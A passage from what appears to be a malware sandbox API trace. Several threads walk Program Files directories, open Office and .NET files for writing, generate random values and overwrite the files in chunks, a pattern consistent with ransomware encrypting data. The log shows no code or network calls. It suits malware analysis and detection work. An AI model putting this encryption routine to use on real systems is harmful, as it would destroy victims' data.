out: lpFindFileData=0x488c08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81d35bc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x49600, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDFShell.UKR", cAlternateFileName="")) returned 1 [0066.812] wcscmp (_String1="PDFShell.UKR", _String2=".") returned 1 [0066.812] wcscmp (_String1="PDFShell.UKR", _String2="..") returned 1 [0066.812] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x8e) returned 0x97ac428 [0066.812] wcscpy (in: _Dest=0x97ac428, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX" [0066.812] wcscat (in: _Dest=0x97ac428, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\" [0066.812] wcscat (in: _Dest=0x97ac428, _Source="PDFShell.UKR" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\PDFShell.UKR") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\PDFShell.UKR" [0066.812] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x97ac428, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xaf0 [0066.813] FindNextFileW (in: hFindFile=0x440a20, lpFindFileData=0x488c08 | out: lpFindFileData=0x488c08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81d35bc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x49600, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDFShell.UKR", cAlternateFileName="")) returned 0 [0066.813] FindClose (hFindFile=0x440a20) Thread: id = 403 os_tid = 0xd34 [0048.850] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Microsoft Office\\Office14\\1033\\OWSHLP10.CHM" (normalized: "c:\\program files (x86)\\microsoft office\\office14\\1033\\owshlp10.chm")) returned 0x20 [0049.188] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Microsoft Office\\Office14\\1033\\OWSHLP10.CHM", dwFileAttributes=0x20) returned 1 [0051.186] CreateFileW (lpFileName="C:\\Program Files (x86)\\Microsoft Office\\Office14\\1033\\OWSHLP10.CHM" (normalized: "c:\\program files (x86)\\microsoft office\\office14\\1033\\owshlp10.chm"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x8f0 [0051.186] GetFileSizeEx (in: hFile=0x8f0, lpFileSize=0x717fa94 | out: lpFileSize=0x717fa94*=0) returned 1 [0051.186] FlushFileBuffers (hFile=0x8f0) returned 1 [0051.693] CloseHandle (hObject=0x8f0) returned 1 [0051.693] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Microsoft Office\\Office14\\1033\\OWSHLP10.CHM", dwFileAttributes=0x20) returned 1 [0052.724] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x416a50) returned 1 Thread: id = 404 os_tid = 0xd38 [0048.856] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Microsoft Office\\Office14\\1033\\VBAOWS10.CHM" (normalized: "c:\\program files (x86)\\microsoft office\\office14\\1033\\vbaows10.chm")) returned 0x20 [0049.188] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Microsoft Office\\Office14\\1033\\VBAOWS10.CHM", dwFileAttributes=0x20) returned 1 [0060.609] CreateFileW (lpFileName="C:\\Program Files (x86)\\Microsoft Office\\Office14\\1033\\VBAOWS10.CHM" (normalized: "c:\\program files (x86)\\microsoft office\\office14\\1033\\vbaows10.chm"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x8ec [0060.610] GetFileSizeEx (in: hFile=0x8ec, lpFileSize=0x6c4f9b0 | out: lpFileSize=0x6c4f9b0*=266741) returned 1 [0060.610] SetFilePointerEx (in: hFile=0x8ec, liDistanceToMove=0x411f1, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.610] ReadFile (in: hFile=0x8ec, lpBuffer=0x6c4f934, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x6c4f930, lpOverlapped=0x0 | out: lpBuffer=0x6c4f934*, lpNumberOfBytesRead=0x6c4f930*=0x4, lpOverlapped=0x0) returned 1 [0060.611] SetFilePointerEx (in: hFile=0x8ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.611] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x435fa8 [0060.611] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x436048 [0060.612] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4360c0 [0060.612] NtQuerySystemTime (in: CurrentTime=0x6c4f910 | out: CurrentTime=0x6c4f910*=132174898245984000) returned 0x0 [0060.612] RtlRandomEx (in: Seed=0x6c4f91c | out: Seed=0x6c4f91c) returned 0xee1ef9e [0060.612] RtlRandomEx (in: Seed=0x6c4f91c | out: Seed=0x6c4f91c) returned 0x3ba3dc26 [0060.612] RtlRandomEx (in: Seed=0x6c4f91c | out: Seed=0x6c4f91c) returned 0x7b62a4aa [0060.612] RtlRandomEx (in: Seed=0x6c4f91c | out: Seed=0x6c4f91c) returned 0x15f3cb78 [0060.612] RtlRandomEx (in: Seed=0x6c4f91c | out: Seed=0x6c4f91c) returned 0x4ab0af30 [0060.612] RtlRandomEx (in: Seed=0x6c4f91c | out: Seed=0x6c4f91c) returned 0x74e4edf5 [0060.612] RtlRandomEx (in: Seed=0x6c4f91c | out: Seed=0x6c4f91c) returned 0x4e7a850f [0060.612] RtlRandomEx (in: Seed=0x6c4f91c | out: Seed=0x6c4f91c) returned 0x6b4b028b [0060.612] RtlRandomEx (in: Seed=0x6c4f91c | out: Seed=0x6c4f91c) returned 0x23b72a5 [0060.612] RtlRandomEx (in: Seed=0x6c4f91c | out: Seed=0x6c4f91c) returned 0xb76b3b3 [0060.612] RtlRandomEx (in: Seed=0x6c4f91c | out: Seed=0x6c4f91c) returned 0x2dc36457 [0060.612] RtlRandomEx (in: Seed=0x6c4f91c | out: Seed=0x6c4f91c) returned 0x7ac931c4 [0060.612] RtlRandomEx (in: Seed=0x6c4f91c | out: Seed=0x6c4f91c) returned 0x7d9b20e6 [0060.612] RtlRandomEx (in: Seed=0x6c4f91c | out: Seed=0x6c4f91c) returned 0x31905519 [0060.612] RtlRandomEx (in: Seed=0x6c4f91c | out: Seed=0x6c4f91c) returned 0x95dff47 [0060.612] RtlRandomEx (in: Seed=0x6c4f91c | out: Seed=0x6c4f91c) returned 0x34bd38e [0060.612] RtlRandomEx (in: Seed=0x6c4f91c | out: Seed=0x6c4f91c) returned 0x56c92d55 [0060.612] RtlRandomEx (in: Seed=0x6c4f91c | out: Seed=0x6c4f91c) returned 0x1f331c43 [0060.612] RtlRandomEx (in: Seed=0x6c4f91c | out: Seed=0x6c4f91c) returned 0x76e8ad40 [0060.612] RtlRandomEx (in: Seed=0x6c4f91c | out: Seed=0x6c4f91c) returned 0x71c7632e [0060.612] RtlRandomEx (in: Seed=0x6c4f91c | out: Seed=0x6c4f91c) returned 0x660c6e63 [0060.612] RtlRandomEx (in: Seed=0x6c4f91c | out: Seed=0x6c4f91c) returned 0x5781839 [0060.612] RtlRandomEx (in: Seed=0x6c4f91c | out: Seed=0x6c4f91c) returned 0x65d4b9bd [0060.612] RtlRandomEx (in: Seed=0x6c4f91c | out: Seed=0x6c4f91c) returned 0x66a30142 [0060.612] RtlRandomEx (in: Seed=0x6c4f91c | out: Seed=0x6c4f91c) returned 0x31f55cc8 [0060.612] RtlRandomEx (in: Seed=0x6c4f91c | out: Seed=0x6c4f91c) returned 0x7b62d01 [0060.612] RtlRandomEx (in: Seed=0x6c4f91c | out: Seed=0x6c4f91c) returned 0x28d86c5c [0060.612] RtlRandomEx (in: Seed=0x6c4f91c | out: Seed=0x6c4f91c) returned 0x579b8ee7 [0060.613] RtlRandomEx (in: Seed=0x6c4f91c | out: Seed=0x6c4f91c) returned 0x5be7d76f [0060.613] RtlRandomEx (in: Seed=0x6c4f91c | out: Seed=0x6c4f91c) returned 0x7a3a1fda [0060.613] RtlRandomEx (in: Seed=0x6c4f91c | out: Seed=0x6c4f91c) returned 0x247ca9c6 [0060.613] RtlRandomEx (in: Seed=0x6c4f91c | out: Seed=0x6c4f91c) returned 0x74551539 [0060.625] SetFilePointerEx (in: hFile=0x8ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.625] ReadFile (in: hFile=0x8ec, lpBuffer=0x199a5118, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x6c4f8c8, lpOverlapped=0x0 | out: lpBuffer=0x199a5118*, lpNumberOfBytesRead=0x6c4f8c8*=0xc800, lpOverlapped=0x0) returned 1 [0060.629] SetFilePointerEx (in: hFile=0x8ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.629] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x40) returned 0x44c828 [0060.629] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x43a7e0 [0060.629] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x435fa8 [0060.629] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x435fa8) returned 1 [0060.630] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc800) returned 0x199b1920 [0060.634] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x435fa8 [0060.634] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4360c0 [0060.634] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4360c0) returned 1 [0060.634] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x43a7e0) returned 1 [0060.634] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44c828) returned 1 [0060.634] WriteFile (in: hFile=0x8ec, lpBuffer=0x199b1920*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x6c4f8c8, lpOverlapped=0x0 | out: lpBuffer=0x199b1920*, lpNumberOfBytesWritten=0x6c4f8c8*=0xc800, lpOverlapped=0x0) returned 1 [0066.370] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x199b1920) returned 1 [0066.370] SetFilePointerEx (in: hFile=0x8ec, liDistanceToMove=0x25800, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0066.370] ReadFile (hFile=0x8ec, lpBuffer=0x199a5118, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x6c4f8c8, lpOverlapped=0x0) Thread: id = 405 os_tid = 0xd3c [0048.857] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x8e) returned 0x44e420 [0048.857] wcscpy (in: _Dest=0x44e420, _Source="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0" | out: _Dest="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0") returned="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0" [0048.857] wcscat (in: _Dest=0x44e420, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\") returned="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\" [0048.857] wcscat (in: _Dest=0x44e420, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\*") returned="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\*" [0048.857] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x45b240 [0048.857] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\*", lpFindFileData=0x45b240 | out: lpFindFileData=0x45b240*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9a8c6329, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x9a8c6329, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x40a028 [0049.193] wcscmp (_String1=".", _String2=".") returned 0 [0049.193] FindNextFileW (in: hFindFile=0x40a028, lpFindFileData=0x45b240 | out: lpFindFileData=0x45b240*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9a8c6329, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x9a8c6329, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0049.193] wcscmp (_String1="..", _String2=".") returned 1 [0049.193] wcscmp (_String1="..", _String2="..") returned 0 [0049.193] FindNextFileW (in: hFindFile=0x40a028, lpFindFileData=0x45b240 | out: lpFindFileData=0x45b240*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaa5f4b44, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xaa5f4b44, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xaaa915ec, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x92000, dwReserved0=0x0, dwReserved1=0x0, cFileName="PresentationBuildTasks.dll", cAlternateFileName="")) returned 1 [0049.193] wcscmp (_String1="PresentationBuildTasks.dll", _String2=".") returned 1 [0049.193] wcscmp (_String1="PresentationBuildTasks.dll", _String2="..") returned 1 [0049.193] FindNextFileW (in: hFindFile=0x40a028, lpFindFileData=0x45b240 | out: lpFindFileData=0x45b240*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xab1db959, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xab1db959, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xab4fb63f, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x406000, dwReserved0=0x0, dwReserved1=0x0, cFileName="PresentationCore.dll", cAlternateFileName="")) returned 1 [0049.193] wcscmp (_String1="PresentationCore.dll", _String2=".") returned 1 [0049.193] wcscmp (_String1="PresentationCore.dll", _String2="..") returned 1 [0049.193] FindNextFileW (in: hFindFile=0x40a028, lpFindFileData=0x45b240 | out: lpFindFileData=0x45b240*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4de43cb, ftCreationTime.dwHighDateTime=0x1ca041b, ftLastAccessTime.dwLowDateTime=0x4de43cb, ftLastAccessTime.dwHighDateTime=0x1ca041b, ftLastWriteTime.dwLowDateTime=0x79b03bbc, ftLastWriteTime.dwHighDateTime=0x1c9ea10, nFileSizeHigh=0x0, nFileSizeLow=0x30000, dwReserved0=0x0, dwReserved1=0x0, cFileName="PresentationFramework.Aero.dll", cAlternateFileName="")) returned 1 [0049.193] wcscmp (_String1="PresentationFramework.Aero.dll", _String2=".") returned 1 [0049.194] wcscmp (_String1="PresentationFramework.Aero.dll", _String2="..") returned 1 [0049.194] FindNextFileW (in: hFindFile=0x40a028, lpFindFileData=0x45b240 | out: lpFindFileData=0x45b240*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4ff96fd, ftCreationTime.dwHighDateTime=0x1ca041b, ftLastAccessTime.dwLowDateTime=0x4ff96fd, ftLastAccessTime.dwHighDateTime=0x1ca041b, ftLastWriteTime.dwLowDateTime=0x79e95cbc, ftLastWriteTime.dwHighDateTime=0x1c9ea10, nFileSizeHigh=0x0, nFileSizeLow=0x22000, dwReserved0=0x0, dwReserved1=0x0, cFileName="PresentationFramework.Classic.dll", cAlternateFileName="")) returned 1 [0049.194] wcscmp (_String1="PresentationFramework.Classic.dll", _String2=".") returned 1 [0049.194] wcscmp (_String1="PresentationFramework.Classic.dll", _String2="..") returned 1 [0049.194] FindNextFileW (in: hFindFile=0x40a028, lpFindFileData=0x45b240 | out: lpFindFileData=0x45b240*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaaa915ec, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xaaa915ec, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xab0aae57, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x509000, dwReserved0=0x0, dwReserved1=0x0, cFileName="PresentationFramework.dll", cAlternateFileName="")) returned 1 [0049.194] wcscmp (_String1="PresentationFramework.dll", _String2=".") returned 1 [0049.194] wcscmp (_String1="PresentationFramework.dll", _String2="..") returned 1 [0049.194] FindNextFileW (in: hFindFile=0x40a028, lpFindFileData=0x45b240 | out: lpFindFileData=0x45b240*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa9dec0f5, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa9dec0f5, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xaa0e5c7a, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x61000, dwReserved0=0x0, dwReserved1=0x0, cFileName="PresentationFramework.Luna.dll", cAlternateFileName="")) returned 1 [0049.194] wcscmp (_String1="PresentationFramework.Luna.dll", _String2=".") returned 1 [0049.194] wcscmp (_String1="PresentationFramework.Luna.dll", _String2="..") returned 1 [0049.194] FindNextFileW (in: hFindFile=0x40a028, lpFindFileData=0x45b240 | out: lpFindFileData=0x45b240*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x653fb0e, ftCreationTime.dwHighDateTime=0x1ca041b, ftLastAccessTime.dwLowDateTime=0x653fb0e, ftLastAccessTime.dwHighDateTime=0x1ca041b, ftLastWriteTime.dwLowDateTime=0x7a4fb7dc, ftLastWriteTime.dwHighDateTime=0x1c9ea10, nFileSizeHigh=0x0, nFileSizeLow=0x28000, dwReserved0=0x0, dwReserved1=0x0, cFileName="PresentationFramework.Royale.dll", cAlternateFileName="")) returned 1 [0049.194] wcscmp (_String1="PresentationFramework.Royale.dll", _String2=".") returned 1 [0049.194] wcscmp (_String1="PresentationFramework.Royale.dll", _String2="..") returned 1 [0049.194] FindNextFileW (in: hFindFile=0x40a028, lpFindFileData=0x45b240 | out: lpFindFileData=0x45b240*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaa10bdda, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xaa10bdda, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xaa262a3d, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x82000, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReachFramework.dll", cAlternateFileName="")) returned 1 [0049.194] wcscmp (_String1="ReachFramework.dll", _String2=".") returned 1 [0049.194] wcscmp (_String1="ReachFramework.dll", _String2="..") returned 1 [0049.194] FindNextFileW (in: hFindFile=0x40a028, lpFindFileData=0x45b240 | out: lpFindFileData=0x45b240*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x812df993, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x812df993, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RedistList", cAlternateFileName="REDIST~1")) returned 1 [0049.194] wcscmp (_String1="RedistList", _String2=".") returned 1 [0049.194] wcscmp (_String1="RedistList", _String2="..") returned 1 [0049.194] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xa0) returned 0x4455c8 [0049.194] wcscpy (in: _Dest=0x4455c8, _Source="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0" | out: _Dest="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0") returned="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0" [0049.194] wcscat (in: _Dest=0x4455c8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\") returned="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\" [0049.194] wcscat (in: _Dest=0x4455c8, _Source="RedistList" | out: _Dest="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList") returned="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList" [0051.329] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x4455c8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xae8 [0051.330] FindNextFileW (in: hFindFile=0x40a028, lpFindFileData=0x45b240 | out: lpFindFileData=0x45b240*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x812df993, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x812df993, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SubsetList", cAlternateFileName="SUBSET~1")) returned 1 [0051.330] wcscmp (_String1="SubsetList", _String2=".") returned 1 [0051.330] wcscmp (_String1="SubsetList", _String2="..") returned 1 [0051.330] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xa0) returned 0x43df18 [0051.330] wcscpy (in: _Dest=0x43df18, _Source="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0" | out: _Dest="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0") returned="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0" [0051.330] wcscat (in: _Dest=0x43df18, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\") returned="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\" [0051.330] wcscat (in: _Dest=0x43df18, _Source="SubsetList" | out: _Dest="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\SubsetList") returned="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\SubsetList" [0051.330] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x43df18, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xcf4 [0051.332] FindNextFileW (in: hFindFile=0x40a028, lpFindFileData=0x45b240 | out: lpFindFileData=0x45b240*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb46093ea, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb46093ea, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb46093ea, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x6c000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.IdentityModel.dll", cAlternateFileName="")) returned 1 [0051.332] wcscmp (_String1="System.IdentityModel.dll", _String2=".") returned 1 [0051.332] wcscmp (_String1="System.IdentityModel.dll", _String2="..") returned 1 [0051.332] FindNextFileW (in: hFindFile=0x40a028, lpFindFileData=0x45b240 | out: lpFindFileData=0x45b240*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb46093ea, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb46093ea, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb46093ea, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1f000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.IdentityModel.Selectors.dll", cAlternateFileName="")) returned 1 [0051.332] wcscmp (_String1="System.IdentityModel.Selectors.dll", _String2=".") returned 1 [0051.332] wcscmp (_String1="System.IdentityModel.Selectors.dll", _String2="..") returned 1 [0051.332] FindNextFileW (in: hFindFile=0x40a028, lpFindFileData=0x45b240 | out: lpFindFileData=0x45b240*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a94654c, ftCreationTime.dwHighDateTime=0x1ca041b, ftLastAccessTime.dwLowDateTime=0x1a94654c, ftLastAccessTime.dwHighDateTime=0x1ca041b, ftLastWriteTime.dwLowDateTime=0x5c12c05c, ftLastWriteTime.dwHighDateTime=0x1c9ea10, nFileSizeHigh=0x0, nFileSizeLow=0x20000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.IO.Log.dll", cAlternateFileName="")) returned 1 [0051.332] wcscmp (_String1="System.IO.Log.dll", _String2=".") returned 1 [0051.332] wcscmp (_String1="System.IO.Log.dll", _String2="..") returned 1 [0051.332] FindNextFileW (in: hFindFile=0x40a028, lpFindFileData=0x45b240 | out: lpFindFileData=0x45b240*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xab0aae57, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xab0aae57, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xab1db959, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x5b000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Printing.dll", cAlternateFileName="")) returned 1 [0051.332] wcscmp (_String1="System.Printing.dll", _String2=".") returned 1 [0051.332] wcscmp (_String1="System.Printing.dll", _String2="..") returned 1 [0051.332] FindNextFileW (in: hFindFile=0x40a028, lpFindFileData=0x45b240 | out: lpFindFileData=0x45b240*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb45bd12a, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb45bd12a, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb45e328a, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xed000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Runtime.Serialization.dll", cAlternateFileName="")) returned 1 [0051.332] wcscmp (_String1="System.Runtime.Serialization.dll", _String2=".") returned 1 [0051.332] wcscmp (_String1="System.Runtime.Serialization.dll", _String2="..") returned 1 [0051.332] FindNextFileW (in: hFindFile=0x40a028, lpFindFileData=0x45b240 | out: lpFindFileData=0x45b240*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb4524ba9, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb4524ba9, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb4596fca, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x5b6000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.ServiceModel.dll", cAlternateFileName="")) returned 1 [0051.332] wcscmp (_String1="System.ServiceModel.dll", _String2=".") returned 1 [0051.332] wcscmp (_String1="System.ServiceModel.dll", _String2="..") returned 1 [0051.332] FindNextFileW (in: hFindFile=0x40a028, lpFindFileData=0x45b240 | out: 